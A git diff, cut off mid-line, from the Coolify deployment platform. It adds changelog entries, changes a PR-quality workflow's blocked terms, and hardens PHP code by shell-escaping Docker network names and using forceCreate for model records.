diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml index 594724fdb..45a695ddc 100644 --- a/.github/workflows/pr-quality.yaml +++ b/.github/workflows/pr-quality.yaml @@ -40,7 +40,10 @@ jobs: max-emoji-count: 2 max-code-references: 5 require-linked-issue: false - blocked-terms: "STRAWBERRY" + blocked-terms: | + STRAWBERRY + ๐Ÿค– Generated with Claude Code + Generated with Claude Code blocked-issue-numbers: 8154 # PR Template Checks @@ -97,7 +100,7 @@ jobs: exempt-pr-milestones: "" # PR Success Actions - success-add-pr-labels: "quality/verified" + success-add-pr-labels: "" # PR Failure Actions failure-remove-pr-labels: "" diff --git a/CHANGELOG.md b/CHANGELOG.md index 87e8ae806..8cd7287f3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1190,7 +1190,118 @@ ### ๐Ÿš€ Features - *(service)* Update autobase to version 2.5 (#7923) - *(service)* Add chibisafe template (#5808) - *(ui)* Improve sidebar menu items styling (#7928) -- *(service)* Improve open-archiver +- *(template)* Add open archiver template (#6593) +- *(service)* Add linkding template (#6651) +- *(service)* Add glip template (#7937) +- *(templates)* Add Sessy docker compose template (#7951) +- *(api)* Add update urls support to services api +- *(api)* Improve service urls update +- *(api)* Add url update support to services api (#7929) +- *(api)* Improve docker_compose_domains +- *(api)* Add more allowed fields +- *(notifications)* Add mattermost notifications (#7963) +- *(templates)* Add ElectricSQL docker compose template +- *(service)* Add back soketi-app-manager +- *(service)* Upgrade checkmate to v3 (#7995) +- *(service)* Update pterodactyl version (#7981) +- *(service)* Add langflow template (#8006) +- *(service)* Upgrade listmonk to v6 +- *(service)* Add alexandrie template (#8021) +- *(service)* Upgrade formbricks to v4 (#8022) +- *(service)* Add goatcounter template (#8029) +- *(installer)* Add tencentos as a supported os +- *(installer)* Update nightly install script +- Update pr template to remove unnecessary quote blocks +- *(service)* Add satisfactory game server (#8056) +- *(service)* Disable mautic (#8088) +- *(service)* Add bento-pdf (#8095) +- *(ui)* Add official postgres 18 support +- *(database)* Add official postgres 18 support +- *(ui)* Use 2 column layout +- *(database)* Add official postgres 18 and pgvector 18 support (#8143) +- *(ui)* Improve global search with uuid and pr support (#7901) +- *(openclaw)* Add Openclaw service with environment variables and health checks +- *(service)* Disable maybe +- *(service)* Disable maybe (#8167) +- *(service)* Add sure +- *(service)* Add sure (#8157) +- *(docker)* Install PHP sockets extension in development environment +- *(services)* Add Spacebot service with custom logo support (#8427) +- Expose scheduled tasks to API +- *(api)* Add OpenAPI for managing scheduled tasks for applications and services +- *(api)* Add delete endpoints for scheduled tasks in applications and services +- *(api)* Add update endpoints for scheduled tasks in applications and services +- *(api)* Add scheduled tasks CRUD API with auth and validation (#8428) +- *(monitoring)* Add scheduled job monitoring dashboard (#8433) +- *(service)* Disable plane +- *(service)* Disable plane (#8580) +- *(service)* Disable pterodactyl panel and pterodactyl wings +- *(service)* Disable pterodactyl panel and pterodactyl wings (#8512) +- *(service)* Upgrade beszel and beszel-agent to v0.18 +- *(service)* Upgrade beszel and beszel-agent to v0.18 (#8513) +- Add command healthcheck type +- Require health check command for 'cmd' type with backend validation and frontend update +- *(healthchecks)* Add command health checks with input validation +- *(healthcheck)* Add command-based health check support (#8612) +- *(jobs)* Optimize async job dispatches and enhance Stripe subscription sync +- *(jobs)* Add queue delay resilience to scheduled job execution +- *(scheduler)* Add pagination to skipped jobs and filter manager start events +- Add comment field to environment variables +- Limit comment field to 256 characters for environment variables +- Enhance environment variable handling to support mixed formats and add comprehensive tests +- Add comment field to shared environment variables +- Show comment field for locked environment variables +- Add function to extract inline comments from docker-compose YAML environment variables +- Add magic variable detection and update UI behavior accordingly +- Add comprehensive environment variable parsing with nested resolution and hardcoded variable detection +- *(models)* Add is_required to EnvironmentVariable fillable array +- Add comment field to environment variables (#7269) +- *(service)* Pydio-cells.yml +- Pydio cells svg +- Pydio-cells.yml pin to stable version +- *(service)* Add Pydio cells (#8323) +- *(service)* Disable minio community edition +- *(service)* Disable minio community edition (#8686) +- *(subscription)* Add Stripe server limit quantity adjustment flow +- *(subscription)* Add refunds and cancellation management (#8637) +- Add configurable timeout for public database TCP proxy +- Add configurable proxy timeout for public database TCP proxy (#8673) +- *(jobs)* Implement encrypted queue jobs +- *(proxy)* Add database-backed config storage with disk backups +- *(proxy)* Add database-backed config storage with disk backups (#8905) +- *(livewire)* Add selectedActions parameter and error handling to delete methods +- *(gitlab)* Add GitLab source integration with SSH and HTTP basic auth +- *(git-sources)* Add GitLab integration and URL encode credentials (#8910) +- *(server)* Add server metadata collection and display +- *(git-import)* Support custom ssh command for fetch, submodule, and lfs +- *(ui)* Add log filter based on log level +- *(ui)* Add log filter based on log level (#8784) +- *(seeders)* Add GitHub deploy key example application +- *(service)* Update n8n-with-postgres-and-worker to 2.10.4 (#8807) +- *(service)* Add container label escape control to services API +- *(server)* Allow force deletion of servers with resources +- *(server)* Allow force deletion of servers with resources (#8962) +- *(compose-preview)* Populate fqdn from docker_compose_domains +- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963) +- *(server)* Auto-fetch server metadata after validation +- *(server)* Auto-fetch server metadata after validation (#8964) +- *(templates)* Add imgcompress service, for offline image processing (#8763) +- *(service)* Add librespeed (#8626) +- *(service)* Update databasus to v3.16.2 (#8586) +- *(preview)* Add configurable PR suffix toggle for volumes +- *(api)* Add storages endpoints for applications +- *(api)* Expand update_storage to support name, mount_path, host_path, content fields +- *(environment-variable)* Add placeholder hint for magic variables +- *(subscription)* Display next billing date and billing interval +- *(api)* Support comments in bulk environment variable endpoints +- *(api)* Add database environment variable management endpoints +- *(storage)* Add resources tab and improve S3 deletion handling +- *(storage)* Group backups by database and filter by s3 status +- *(storage)* Add storage management for backup schedules +- *(jobs)* Add cache-based deduplication for delayed cron execution +- *(storage)* Add storage endpoints and UUID support for databases and services +- *(monitoring)* Add Laravel Nightwatch monitoring support +- *(validation)* Make hostname validation case-insensitive and expand allowed characters ### ๐Ÿ› Bug Fixes @@ -3773,6 +3884,7 @@ ### ๐Ÿ› Bug Fixes - *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management - *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6 - *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy +- *(git)* Tracking issue due to case sensitivity - *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7 - *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency - *(horizon)* Update queue configuration to use environment variable for dynamic queue management @@ -3798,7 +3910,6 @@ ### ๐Ÿ› Bug Fixes - *(application)* Add option to suppress toast notifications when loading compose file - *(git)* Tracking issue due to case sensitivity - *(git)* Tracking issue due to case sensitivity -- *(git)* Tracking issue due to case sensitivity - *(ui)* Delete button width on small screens (#6308) - *(service)* Matrix entrypoint - *(ui)* Add flex-wrap to prevent overflow on small screens (#6307) @@ -4422,6 +4533,197 @@ ### ๐Ÿ› Bug Fixes - *(api)* Deprecate applications compose endpoint - *(api)* Applications post and patch endpoints - *(api)* Applications create and patch endpoints (#7917) +- *(service)* Sftpgo port +- *(env)* Only cat .env file in dev +- *(api)* Encoding checks (#7944) +- *(env)* Only show nixpacks plan variables section in dev +- Switch custom labels check to UTF-8 +- *(api)* One click service name and description cannot be set during creation +- *(ui)* Improve volume mount warning for compose applications (#7947) +- *(api)* Show an error if the same 2 urls are provided +- *(preview)* Docker compose preview URLs (#7959) +- *(api)* Check domain conflicts within the request +- *(api)* Include docker_compose_domains in domain conflict check +- *(api)* Is_static and docker network missing +- *(api)* If domains field is empty clear the fqdn column +- *(api)* Application endpoint issues part 2 (#7948) +- Optimize queries and caching for projects and environments +- *(perf)* Eliminate N+1 queries from InstanceSettings and Server lookups (#7966) +- Update version numbers to 4.0.0-beta.462 and 4.0.0-beta.463 +- *(service)* Update seaweedfs logo (#7971) +- *(service)* Soju svg +- *(service)* Autobase database is not persisted correctly (#7978) +- *(ui)* Make tooltips a bit wider +- *(ui)* Modal issues +- *(validation)* Add @, / and & support to names and descriptions +- *(backup)* Postgres restore arithmetic syntax error (#7997) +- *(service)* Users unable to create their first ente account without SMTP (#7986) +- *(ui)* Horizontal overflow on application and service headings (#7970) +- *(service)* Supabase studio settings redirect loop (#7828) +- *(env)* Skip escaping for valid JSON in environment variables (#6160) +- *(service)* Disable kong response buffering and increase timeouts (#7864) +- *(service)* Rocketchat fails to start due to database version incompatibility (#7999) +- *(service)* N8n v2 with worker timeout error +- *(service)* Elasticsearch-with-kibana not generating account token +- *(service)* Elasticsearch-with-kibana not generating account token (#8067) +- *(service)* Kimai fails to start (#8027) +- *(service)* Reactive-resume template (#8048) +- *(api)* Infinite loop with github app with many repos (#8052) +- *(env)* Skip escaping for valid JSON in environment variables (#8080) +- *(docker)* Update PostgreSQL version to 16 in Dockerfile +- *(validation)* Enforce url validation for instance domain (#8078) +- *(service)* Bluesky pds invite code doesn't generate (#8081) +- *(service)* Bugsink login fails due to cors (#8083) +- *(service)* Strapi doesn't start (#8084) +- *(service)* Activepieces postgres 18 volume mount (#8098) +- *(service)* Forgejo login failure (#8145) +- *(database)* Pgvector 18 version is not parsed properly +- *(labels)* Make sure name is slugified +- *(parser)* Replace dashes and dots in auto generated envs +- Stop database proxy when is_public changes to false (#8138) +- *(docs)* Update documentation link for Openclaw service +- *(api-docs)* Use proper schema references for environment variable endpoints (#8239) +- *(ui)* Fix datalist border color and add repository selection watcher (#8240) +- *(server)* Improve IP uniqueness validation with team-specific error messages +- *(jobs)* Initialize status variable in checkHetznerStatus (#8359) +- *(jobs)* Handle queue timeouts gracefully in Horizon (#8360) +- *(push-server-job)* Skip containers with empty service subId (#8361) +- *(database)* Disable proxy on port allocation failure (#8362) +- *(sentry)* Use withScope for SSH retry event tracking (#8363) +- *(api)* Add a newline to openapi.json +- *(server)* Improve IP uniqueness validation with team-specific error messages +- *(service)* Glitchtip webdashboard doesn't load +- *(service)* Glitchtip webdashboard doesn't load (#8249) +- *(api)* Improve scheduled tasks API with auth, validation, and execution endpoints +- *(api)* Improve scheduled tasks validation and delete logic +- *(security)* Harden deployment paths and deploy abilities (#8549) +- *(service)* Always enable force https labels +- *(traefik)* Respect force https in service labels (#8550) +- *(team)* Include webhook notifications in enabled check (#8557) +- *(service)* Resolve team lookup via service relationship +- *(service)* Resolve team lookup via service relationship (#8559) +- *(database)* Chown redis/keydb configs when custom conf set (#8561) +- *(version)* Update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465 +- *(applications)* Treat zero private_key_id as deploy key (#8563) +- *(deploy)* Split BuildKit and secrets detection (#8565) +- *(auth)* Prevent CSRF redirect loop during 2FA challenge (#8596) +- *(input)* Prevent eye icon flash on password fields before Alpine.js loads (#8599) +- *(api)* Correct permission requirements for POST endpoints (#8600) +- *(health-checks)* Prevent command injection in health check commands (#8611) +- *(auth)* Prevent cross-tenant IDOR in resource cloning (#8613) +- *(docker)* Centralize command escaping in executeInDocker helper (#8615) +- *(api)* Add team authorization to domains_by_server endpoint (#8616) +- *(ca-cert)* Prevent command injection via base64 encoding (#8617) +- *(scheduler)* Add self-healing for stale Redis locks and detection in UI (#8618) +- *(health-checks)* Sanitize and validate CMD healthcheck commands +- *(healthchecks)* Remove redundant newline sanitization from CMD healthcheck +- *(soketi)* Make host binding configurable for IPv6 support (#8619) +- *(ssh)* Automatically fix SSH directory permissions during upgrade (#8635) +- *(jobs)* Prevent non-due jobs firing on restart and enrich skip logs with resource links +- *(database)* Close confirmation modal after import/restore +- Application rollback uses correct commit sha +- *(rollback)* Escape commit SHA to prevent shell injection +- Save comment field when creating application environment variables +- Allow editing comments on locked environment variables +- Add Update button for locked environment variable comments +- Remove duplicate delete button from locked environment variable view +- Position Update button next to comment field for locked variables +- Preserve existing comments in bulk update and always show save notification +- Update success message logic to only show when changes are made +- *(bootstrap)* Add bounds check to extractBalancedBraceContent +- Pydio-cells svg path typo +- *(database)* Handle PDO constant name change for PGSQL_ATTR_DISABLE_PREPARES +- *(proxy)* Handle IPv6 CIDR notation in Docker network gateways (#8703) +- *(ssh)* Prevent RCE via SSH command injection (#8748) +- *(service)* Cloudreve doesn't persist data across restarts +- *(service)* Cloudreve doesn't persist data across restarts (#8740) +- Join link should be set correctly in the env variables +- *(service)* Ente photos join link doesn't work (#8727) +- *(subscription)* Harden quantity updates and proxy trust behavior +- *(auth)* Resolve 419 session errors with domain-based access and Cloudflare Tunnels (#8749) +- *(server)* Handle limit edge case and IPv6 allowlist dedupe +- *(server-limit)* Re-enable force-disabled servers at limit +- *(ip-allowlist)* Add IPv6 CIDR support for API access restrictions (#8750) +- *(proxy)* Remove ipv6 cidr network remediation +- Address review feedback on proxy timeout +- *(proxy)* Add validation and normalization for database proxy timeout +- *(proxy)* Mounting error for nginx.conf in dev +- Enable preview deployment page for deploy key applications +- *(application-source)* Support localhost key with id=0 +- Enable preview deployment page for deploy key applications (#8579) +- *(docker-compose)* Respect preserveRepository setting when executing start command (#8848) +- *(proxy)* Mounting error for nginx.conf in dev (#8662) +- *(database)* Close confirmation modal after database import/restore (#8697) +- *(subscription)* Use optional chaining for preview object access +- *(parser)* Use firstOrCreate instead of updateOrCreate for environment variables +- *(env-parser)* Capture clean variable names without trailing braces in bash-style defaults (#8855) +- *(terminal)* Resolve WebSocket connection and host authorization issues (#8862) +- *(docker-cleanup)* Respect keep for rollback setting for Nixpacks build images (#8859) +- *(push-server)* Track last_online_at and reset database restart state +- *(docker)* Prevent false container exits on failed docker queries (#8860) +- *(api)* Require write permission for validation endpoints +- *(sentinel)* Add token validation to prevent command injection +- *(log-drain)* Prevent command injection by base64-encoding environment variables +- *(git-ref-validation)* Prevent command injection via git references +- *(docker)* Add path validation to prevent command injection in file locations +- Prevent command injection and fix developer view shared variables error (#8889) +- Build-time environment variables break Next.js (#8890) +- *(modal)* Make confirmation modal close after dispatching Livewire actions (#8892) +- *(parser)* Preserve user-saved env vars on Docker Compose redeploy (#8894) +- *(security)* Sanitize newlines in health check commands to prevent RCE (#8898) +- Prevent scheduled task input fields from losing focus +- Prevent scheduled task input fields from losing focus (#8654) +- *(api)* Add docker_cleanup parameter to stop endpoints +- *(api)* Add docker_cleanup parameter to stop endpoints (#8899) +- *(deployment)* Filter null and empty environment variables from nixpacks plan +- *(deployment)* Filter null and empty environment variables from nixpacks plan (#8902) +- *(livewire)* Add error handling and selectedActions to delete methods (#8909) +- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables +- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables (#8915) +- *(ssh)* Remove undefined trackSshRetryEvent() method call (#8927) +- *(validation)* Support scoped packages in file path validation (#8928) +- *(parsers)* Resolve shared variables in compose environment +- *(parsers)* Resolve shared variables in compose environment (#8930) +- *(api)* Cast teamId to int in deployment authorization check +- *(api)* Cast teamId to int in deployment authorization check (#8931) +- *(git-import)* Ensure ssh key is used for fetch, submodule, and lfs operations (#8933) +- *(ui)* Info logs were not highlighted with blue color +- *(application)* Clarify deployment type precedence logic +- *(git-import)* Explicitly specify ssh key and remove duplicate validation rules +- *(application)* Clarify deployment type precedence logic (#8934) +- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain +- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain (#8948) +- *(service)* Hoppscotch fails to start due to db unhealthy +- *(service)* Hoppscotch fails to start due to db unhealthy (#8949) +- *(api)* Allow is_container_label_escape_enabled in service operations (#8955) +- *(docker-compose)* Respect preserveRepository when injecting --project-directory +- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956) +- *(compose)* Include git branch in compose file not found error +- *(template)* Fix heyform template +- *(template)* Fix heyform template (#8747) +- *(preview)* Exclude bind mounts from preview deployment suffix +- *(preview)* Sync isPreviewSuffixEnabled property on file storage save +- *(storages)* Hide PR suffix for services and fix instantSave logic +- *(preview)* Enable per-volume control of PR suffix in preview deployments (#9006) +- Prevent sporadic SSH permission denied by validating key content +- *(ssh)* Handle chmod failures gracefully and simplify key management +- Prevent sporadic SSH permission denied on key rotation (#8990) +- *(stripe)* Add error handling and resilience to subscription operations +- *(stripe)* Add error handling and resilience to subscription operations (#9030) +- *(api)* Extract resource UUIDs from route parameters +- *(backup)* Throw explicit error when S3 storage missing or deleted (#9038) +- *(docker)* Skip cleanup stale warning on cloud instances +- *(deployment)* Disable build server during restart operations +- *(deployment)* Disable build server during restart operations (#9045) +- *(docker)* Log failed cleanup attempts when server is not functional +- *(environment-variable)* Guard refresh against missing or stale variables +- *(github-webhook)* Handle unsupported event types gracefully +- *(github-webhook)* Handle unsupported event types gracefully (#9119) +- *(deployment)* Properly escape shell arguments in nixpacks commands +- *(deployment)* Properly escape shell arguments in nixpacks commands (#9122) +- *(validation)* Make hostname validation case-insensitive and expand allowed name characters (#9134) +- *(team)* Resolve server limit checks for API token authentication (#9123) +- *(subscription)* Prevent duplicate subscriptions with updateOrCreate ### ๐Ÿ’ผ Other @@ -4886,6 +5188,12 @@ ### ๐Ÿ’ผ Other - CVE-2025-55182 React2shell infected supabase/studio:2025.06.02-sha-8f2993d - Bump superset to 6.0.0 - Trim whitespace from domain input in instance settings (#7837) +- Upgrade postgres client to fix build error +- Application rollback uses correct commit sha (#8576) +- *(deps)* Bump rollup from 4.57.1 to 4.59.0 +- *(deps)* Bump rollup from 4.57.1 to 4.59.0 (#8691) +- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 +- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 (#8793) ### ๐Ÿšœ Refactor @@ -5510,6 +5818,23 @@ ### ๐Ÿšœ Refactor - Move all env sorting to one place - *(api)* Make docker_compose_raw description more clear - *(api)* Update application create endpoints docs +- *(api)* Application urls validation +- *(services)* Improve some service slogans +- *(ssh-retry)* Remove Sentry tracking from retry logic +- *(ssh-retry)* Remove Sentry tracking from retry logic +- *(jobs)* Split task skip checks into critical and runtime phases +- Add explicit fillable array to EnvironmentVariable model +- Replace inline note with callout component for consistency +- *(application-source)* Use Laravel helpers for null checks +- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand +- Consolidate file path validation patterns and support scoped packages +- *(environment-variable)* Remove buildtime/runtime options and improve comment field +- Remove verbose logging and use explicit exception types +- *(breadcrumb)* Optimize queries and simplify state management +- *(scheduler)* Extract cron scheduling logic to shared helper +- *(team)* Make server limit methods accept optional team parameter +- *(team)* Update serverOverflow to use static serverLimit +- *(docker)* Simplify installation and remove version pinning ### ๐Ÿ“š Documentation @@ -5616,7 +5941,6 @@ ### ๐Ÿ“š Documentation - Update changelog - *(tests)* Update testing guidelines for unit and feature tests - *(sync)* Create AI Instructions Synchronization Guide and update CLAUDE.md references -- Update changelog - *(database-patterns)* Add critical note on mass assignment protection for new columns - Clarify cloud-init script compatibility - Update changelog @@ -5647,7 +5971,27 @@ ### ๐Ÿ“š Documentation - Update application architecture and database patterns for request-level caching best practices - Remove git worktree symlink instructions from CLAUDE.md - Remove git worktree symlink instructions from CLAUDE.md (#7908) +- Add transcript lol link and logo to readme (#7331) +- *(api)* Change domains to urls +- *(api)* Improve domains API docs - Update changelog +- Update changelog +- *(api)* Improve app endpoint deprecation description +- Add Coolify design system reference +- Add Coolify design system reference (#8237) +- Update changelog +- Update changelog +- Update changelog +- *(sponsors)* Add huge sponsors section and reorganize list +- *(application)* Add comments explaining commit selection logic for rollback support +- *(readme)* Add VPSDime to Big Sponsors list +- *(readme)* Move MVPS to Huge Sponsors section +- *(settings)* Clarify Do Not Track helper text +- Update changelog +- Update changelog +- *(sponsors)* Add ScreenshotOne as a huge sponsor +- *(sponsors)* Update Brand.dev to Context.dev +- *(readme)* Add PetroSky Cloud to sponsors ### โšก Performance @@ -5658,6 +6002,7 @@ ### โšก Performance - Remove dead server filtering code from Kernel scheduler (#7585) - *(server)* Optimize destinationsByServer query - *(server)* Optimize destinationsByServer query (#7854) +- *(breadcrumb)* Optimize queries and simplify navigation to fix OOM (#9048) ### ๐ŸŽจ Styling @@ -5670,6 +6015,7 @@ ### ๐ŸŽจ Styling - *(campfire)* Format environment variables for better readability in Docker Compose file - *(campfire)* Update comment for DISABLE_SSL environment variable for clarity - Update background colors to use gray-50 for consistency in auth views +- *(modal-confirmation)* Improve mobile responsiveness ### ๐Ÿงช Testing @@ -5686,6 +6032,14 @@ ### ๐Ÿงช Testing - Add tests for shared environment variable spacing and resolution - Add comprehensive preview deployment port and path tests - Add comprehensive preview deployment port and path tests (#7677) +- Add Pest browser testing with SQLite :memory: schema +- Add dashboard test and improve browser test coverage +- Migrate to SQLite :memory: and add Pest browser testing (#8364) +- *(rollback)* Use full-length git commit SHA values in test fixtures +- *(rollback)* Verify shell metacharacter escaping in git commit parameter +- *(factories)* Add missing model factories for app test suite +- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling +- Add behavioral ssh key stale-file regression ### โš™๏ธ Miscellaneous Tasks @@ -6293,10 +6647,10 @@ ### โš™๏ธ Miscellaneous Tasks - *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files - *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively - *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively -- *(service)* Update Nitropage template (#6181) -- *(versions)* Update all version - *(bump)* Update composer deps - *(version)* Bump Coolify version to 4.0.0-beta.420.6 +- *(service)* Update Nitropage template (#6181) +- *(versions)* Update all version - *(service)* Improve matrix service - *(service)* Format runner service - *(service)* Improve sequin @@ -6399,6 +6753,94 @@ ### โš™๏ธ Miscellaneous Tasks - *(services)* Upgrade service template json files - *(api)* Update openapi json and yaml - *(api)* Regenerate openapi docs +- Prepare for PR +- *(api)* Improve current request error message +- *(api)* Improve current request error message +- *(api)* Update openapi files +- *(service)* Update service templates json +- *(services)* Update service template json files +- *(service)* Use major version for openpanel (#8053) +- Prepare for PR +- *(services)* Update service template json files +- Bump coolify version +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(scheduler)* Fix scheduled job duration metric (#8551) +- Prepare for PR +- Prepare for PR +- *(horizon)* Make max time configurable (#8560) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(ui)* Widen project heading nav spacing (#8564) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Add pr quality check workflow +- Do not build or generate changelog on pr-quality changes +- Add pr quality check via anti slop action (#8344) +- Improve pr quality workflow +- Delete label removal workflow +- Improve pr quality workflow (#8374) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(repo)* Improve contributor PR template +- Add anti-slop v0.2 options to the pr-quality check +- Improve pr template and quality check workflow (#8574) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(ui)* Add labels header +- *(ui)* Add container labels header (#8752) +- *(templates)* Update n8n templates to 2.10.2 (#8679) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(version)* Bump coolify, realtime, and sentinel versions +- *(realtime)* Upgrade npm dependencies +- *(realtime)* Upgrade coolify-realtime to 1.0.11 +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(release)* Bump version to 4.0.0-beta.466 +- Prepare for PR +- Prepare for PR +- *(service)* Pin castopod service to a static version instead of latest +- *(service)* Remove unused attributes on imgcompress service +- *(service)* Pin imgcompress to a static version instead of latest +- *(service)* Update SeaweedFS images to version 4.13 (#8738) +- *(templates)* Bump databasus image version +- Remove coolify-examples-1 submodule +- *(versions)* Bump coolify, sentinel, and traefik versions +- *(versions)* Bump sentinel to 0.0.21 +- *(service)* Disable Booklore service (#9105) ### โ—€๏ธ Revert diff --git a/app/Actions/Fortify/CreateNewUser.php b/app/Actions/Fortify/CreateNewUser.php index 9f97dd0d4..7ea6a871e 100644 --- a/app/Actions/Fortify/CreateNewUser.php +++ b/app/Actions/Fortify/CreateNewUser.php @@ -37,12 +37,13 @@ public function create(array $input): User if (User::count() == 0) { // If this is the first user, make them the root user // Team is already created in the database/seeders/ProductionSeeder.php - $user = User::create([ + $user = (new User)->forceFill([ 'id' => 0, 'name' => $input['name'], 'email' => $input['email'], 'password' => Hash::make($input['password']), ]); + $user->save(); $team = $user->teams()->first(); // Disable registration after first user is created diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index 2e08ec6ad..8bb85c7fc 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -49,7 +49,7 @@ public function handle(Server $server) }'); $found = StandaloneDocker::where('server_id', $server->id); if ($found->count() == 0 && $server->id) { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'name' => 'coolify', 'network' => 'coolify', 'server_id' => $server->id, diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index 6b5e1d4ac..17948d93b 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -40,10 +40,10 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s $commands[] = "docker network connect $service->uuid coolify-proxy >/dev/null 2>&1 || true"; if (data_get($service, 'connect_to_docker_network')) { $compose = data_get($service, 'docker_compose', []); - $network = $service->destination->network; + $safeNetwork = escapeshellarg($service->destination->network); $serviceNames = data_get(Yaml::parse($compose), 'services', []); foreach ($serviceNames as $serviceName => $serviceConfig) { - $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} $network {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; + $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} {$safeNetwork} {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; } } diff --git a/app/Console/Commands/Emails.php b/app/Console/Commands/Emails.php index 43ba06804..462155142 100644 --- a/app/Console/Commands/Emails.php +++ b/app/Console/Commands/Emails.php @@ -136,7 +136,7 @@ public function handle() $application = Application::all()->first(); $preview = ApplicationPreview::all()->first(); if (! $preview) { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 1, 'pull_request_html_url' => 'http://example.com', diff --git a/app/Console/Commands/Init.php b/app/Console/Commands/Init.php index 66cb77838..e95c29f72 100644 --- a/app/Console/Commands/Init.php +++ b/app/Console/Commands/Init.php @@ -212,18 +212,19 @@ private function cleanupUnusedNetworkFromCoolifyProxy() $removeNetworks = $allNetworks->diff($networks); $commands = collect(); foreach ($removeNetworks as $network) { - $out = instant_remote_process(["docker network inspect -f json $network | jq '.[].Containers | if . == {} then null else . end'"], $server, false); + $safe = escapeshellarg($network); + $out = instant_remote_process(["docker network inspect -f json {$safe} | jq '.[].Containers | if . == {} then null else . end'"], $server, false); if (empty($out)) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } else { $data = collect(json_decode($out, true)); if ($data->count() === 1) { // If only coolify-proxy itself is connected to that network (it should not be possible, but who knows) $isCoolifyProxyItself = data_get($data->first(), 'Name') === 'coolify-proxy'; if ($isCoolifyProxyItself) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } } } diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index ad1f50ea2..77f4e626f 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -230,6 +230,7 @@ public function applications(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -395,6 +396,7 @@ public function create_public_application(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -560,6 +562,7 @@ public function create_private_gh_app_application(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' 